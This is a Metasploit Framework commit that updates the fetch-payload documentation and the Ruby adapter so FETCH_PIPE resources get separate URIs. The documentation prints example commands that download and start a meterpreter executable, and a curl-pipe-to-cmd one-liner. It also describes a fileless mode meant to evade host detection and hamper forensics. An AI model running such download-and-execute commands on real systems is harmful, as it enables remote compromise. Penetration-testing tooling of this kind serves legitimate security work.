Skip to content

Commit 2459fa7

Browse files
committed
Add solution for pipe uri generation and update docs
1 parent 0442003 commit 2459fa7

File tree

2 files changed

+50
-13
lines changed

2 files changed

+50
-13
lines changed

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

Lines changed: 39 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ cURL, or Certutil.
2424

2525
## Organization
2626
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
27-
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
27+
HTTP, HTTPS, SMB, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
2828
remote host to download the served payload prior to execution.
2929

3030
Here is the naming convention for fetch payloads:
@@ -69,15 +69,36 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
6969
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
7070
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
7171
into more details on the binaries later.
72-
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
73-
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
72+
7473
`FETCH_SRVHOST` is the IP where the server will listen.
74+
7575
`FETCH_SRVPORT` is the port where the server will listen.
76+
7677
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
7778
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
7879
served payload is the same.
80+
81+
### Dependent Options
82+
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
83+
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
84+
two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above.
85+
This option is only available when the platform is Linux.
86+
87+
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
88+
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
89+
This option is only available when `FETCH_FILELESS` is set to `none`
90+
91+
`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then
92+
will produce a much shorter command to run on the host that will download the original fetch command and pipe it
93+
directly to the target's shell. Use this option if there is a limit on the command size as it will result in a much
94+
smaller original command. When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and
95+
the default `FETCH_URIPATH`value is used for the original binary payload uri.
96+
This option is only available when the fetch transport is HTTP or HTTPS and the payload platform is Linux with the
97+
`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL`
98+
7999
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
80-
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
100+
This value is not supported by all fetch binaries. If you set this value and it is not supported, it will generate an error.
101+
This option is only available when `FETCH_FILELESS` is set to `none`
81102

82103
The remaining options will be the options available to you in the served payload; in this case our served payload is
83104
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
@@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr
154175
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
155176
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
156177

178+
## Fetch Pipe
179+
If space is at a premium, you can use the `FETCH_PIPE` option. When using `FETCH_PIPE`, the fetch server hosts two
180+
resources: the original binary and then the generated fetch command. In the place of the original command, the command
181+
generated will be a much smaller command to download the original command and pipe it into the shell.
182+
The following example shows both the original command to download and execute the binary and the command to pipe the
183+
original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
184+
command to run on the target is significantly shorter.
185+
``` msf
186+
msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
187+
[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
188+
189+
[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
190+
```
191+
157192
## Using it in an exploit
158193
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
159194
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def initialize(*args)
3333
# in Framework, and if the underlying payload type/host/port are the same, the URI
3434
# will be, too.
3535
#
36-
def default_srvuri
36+
def default_srvuri(extra_data = nil)
3737
# If we're in framework, payload is in datastore; msfvenom has it in refname
3838
payload_name = datastore['payload'] ||= refname
3939
decoded_uri = payload_name.dup
@@ -59,6 +59,7 @@ def default_srvuri
5959
end
6060
end
6161
decoded_uri << ";#{netloc}"
62+
decoded_uri << ";#{extra_data}" unless extra_data.nil?
6263
Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
6364
end
6465

@@ -109,11 +110,7 @@ def generate(opts = {})
109110

110111
def generate_pipe_command
111112
# TODO: Make a check method that determines if we support a platform/server/command combination
112-
if srvuri.length < 3
113-
@pipe_uri = srvuri + 'p'
114-
else
115-
@pipe_uri = srvuri[...3]
116-
end
113+
@pipe_uri = pipe_srvuri
117114

118115
case datastore['FETCH_COMMAND'].upcase
119116
when 'WGET'
@@ -178,9 +175,16 @@ def srvport
178175
end
179176

180177
def srvuri
178+
# If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
179+
return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?
180+
181+
datastore['FETCH_URIPATH']
182+
end
183+
184+
def pipe_srvuri
181185
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
182186

183-
default_srvuri
187+
default_srvuri('pipe')
184188
end
185189

186190
def windows?
@@ -327,8 +331,6 @@ def _generate_curl_pipe
327331
return "curl -s http://#{_download_pipe}|#{execute_cmd}"
328332
when 'HTTPS'
329333
return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
330-
when 'TFTP'
331-
return "curl -s tftp://#{_download_pipe}|#{execute_cmd}"
332334
else
333335
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
334336
end

0 commit comments

Comments
 (0)